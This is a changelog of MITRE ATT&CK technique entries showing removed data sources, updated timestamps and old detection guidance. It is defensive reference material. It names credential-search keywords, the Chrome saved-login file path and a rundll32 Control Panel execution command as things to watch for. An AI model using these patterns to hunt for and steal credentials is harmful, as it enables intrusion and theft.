Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Module: Module Load', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:41.855000+00:002025-10-24 17:48:57.520000+00:00
x_mitre_detectionCommand-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. + +If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1092] Communication Through Removable Media

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Drive: Drive Creation', 'Drive: Drive Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:06:39.028000+00:002025-10-24 17:48:52.106000+00:00
x_mitre_detectionMonitor file access on removable media. Detect processes that execute when removable media is mounted.

[T1027.004] Obfuscated Files or Information: Compile After Delivery

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:06.564000+00:002025-10-24 17:49:22.358000+00:00
x_mitre_detectionMonitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.

[T1218.001] System Binary Proxy Execution: Compiled HTML File

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:56.001000+00:002025-10-24 17:49:11.609000+00:00
x_mitre_detectionMonitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. + +Monitor presence and use of CHM files, especially if they are not typically used within an environment.

[T1542.002] Pre-OS Boot: Component Firmware

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firmware: Firmware Modification', 'Process: OS API Execution', 'Driver: Driver Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:43.347000+00:002025-10-24 17:48:59.147000+00:00
x_mitre_detectionData and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. + +Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.

[T1559.001] Inter-Process Communication: Component Object Model

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Script: Script Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:14.161000+00:002025-10-24 17:48:35.814000+00:00
x_mitre_detectionMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) + +Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

[T1586] Compromise Accounts

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Persona: Social Media', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:07:30.871000+00:002025-10-24 17:49:02.015000+00:00
x_mitre_detectionConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1195.003] Supply Chain Compromise: Compromise Hardware Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:07:50.636000+00:002025-10-24 17:48:39.693000+00:00
x_mitre_detectionPerform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.

[T1554] Compromise Host Software Binary

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Deletion', 'File: File Modification', 'File: File Metadata', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:52.206000+00:002025-10-24 17:49:07.572000+00:00
x_mitre_detectionCollect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. + +Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.

[T1584] Compromise Infrastructure

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content', 'Domain Name: Domain Registration', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Internet Scan: Response Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:45.612000+00:002025-10-24 17:49:01.181000+00:00
x_mitre_detectionConsider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1195.002] Supply Chain Compromise: Compromise Software Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:08:31.739000+00:002025-10-24 17:49:18.341000+00:00
x_mitre_detectionUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.

[T1213.001] Data from Information Repositories: Confluence

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:09:18.055000+00:002025-10-24 17:48:59.776000+00:00
x_mitre_detectionMonitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + +User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

[T1552.007] Unsecured Credentials: Container API

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['User Account: User Account Authentication', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:09:34.621000+00:002025-10-24 17:49:38.351000+00:00
x_mitre_detectionEstablish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. + +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).

[T1609] Container Administration Command

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:44.024000+00:002025-10-24 17:48:59.945000+00:00
x_mitre_detectionContainer administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster.

[T1053.007] Scheduled Task/Job: Container Orchestration Job

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:07.487000+00:002025-10-24 17:48:25.363000+00:00
x_mitre_detectionMonitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments.

[T1613] Container and Resource Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Pod: Pod Enumeration', 'Container: Container Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:10:13.179000+00:002025-10-24 17:48:20.661000+00:00
x_mitre_detectionEstablish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. + +Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications.

[T1218.002] System Binary Proxy Execution: Control Panel

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:37.731000+00:002025-10-24 17:48:45.979000+00:00
x_mitre_detectionMonitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) + +Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: + +* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) +* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL) +* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL) + +Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)

[T1136] Create Account

Current version: 2.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:14.796000+00:002025-10-24 17:49:30.136000+00:00
x_mitre_detectionMonitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. + +Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1578.002] Modify Cloud Compute Infrastructure: Create Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Creation', 'Instance: Instance Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:10:54.239000+00:002025-10-24 17:49:24.804000+00:00
x_mitre_detectionThe creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. + +In AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)

[T1134.002] Access Token Manipulation: Create Process with Token

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:17.537000+00:002025-10-24 17:48:53.370000+00:00
x_mitre_detectionIf an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. + +Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1578.001] Modify Cloud Compute Infrastructure: Create Snapshot

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:11:14.755000+00:002025-10-24 17:49:34.416000+00:00
x_mitre_detectionThe creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. + +In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API). + +In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs) + +Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the gcloud compute instances create command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the "sourceSnapshot": parameter pointed to "global/snapshots/[BOOT_SNAPSHOT_NAME].(Citation: GCP - Creating and Starting a VM)

[T1543] Create or Modify System Process

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Service: Service Creation', 'Container: Container Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:11:29.155000+00:002025-10-24 17:48:24.896000+00:00
x_mitre_detectionMonitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. + +Monitor for changes to files associated with system-level processes.

[T1056.004] Input Capture: Credential API Hooking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Metadata', 'Module: Module Load', 'File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:21.920000+00:002025-10-24 17:49:37.119000+00:00
x_mitre_detectionMonitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) + +Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. + +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)

[T1110.004] Brute Force: Credential Stuffing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:59.077000+00:002025-10-24 17:49:14.923000+00:00
x_mitre_detectionMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

[T1589.001] Gather Victim Identity Information: Credentials

Current version: 1.2

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:11:53.342000+00:002025-10-24 17:49:18.246000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1552.001] Unsecured Credentials: Credentials In Files

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:47.301000+00:002025-10-24 17:49:03+00:00
x_mitre_detectionWhile detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.

[T1555] Credentials from Password Stores

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Command: Command Execution', 'Process: Process Access', 'Cloud Service: Cloud Service Enumeration', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:12:11.343000+00:002025-10-24 17:48:41.974000+00:00
x_mitre_detectionMonitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.

[T1555.003] Credentials from Password Stores: Credentials from Web Browsers

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Access', 'File: File Access', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:12:28.087000+00:002025-10-24 17:48:49.577000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionIdentify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1552.002] Unsecured Credentials: Credentials in Registry

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:20.405000+00:002025-10-24 17:48:37.378000+00:00
x_mitre_detectionMonitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

[T1053.003] Scheduled Task/Job: Cron

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:16.429000+00:002025-10-24 17:48:33.856000+00:00
x_mitre_detectionMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. + +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1003.006] OS Credential Dumping: DCSync

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:13:04.812000+00:002025-10-24 17:49:36.308000+00:00
x_mitre_detectionMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) + +Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)

[T1557.003] Adversary-in-the-Middle: DHCP Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:13:20.292000+00:002025-10-24 17:48:49.941000+00:00
x_mitre_detectionMonitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)

[T1590.002] Gather Victim Network Information: DNS

Current version: 1.2

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:13:37.080000+00:002025-10-24 17:48:24.404000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1568.003] Dynamic Resolution: DNS Calculation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:18.343000+00:002025-10-24 17:49:03.093000+00:00
x_mitre_detectionDetection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.

[T1583.002] Acquire Infrastructure: DNS Server

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:14:14.654000+00:002025-10-24 17:48:27.611000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1596.001] Search Open Technical Databases: DNS/Passive DNS

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:14:34.882000+00:002025-10-24 17:48:27.172000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1485] Data Destruction

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
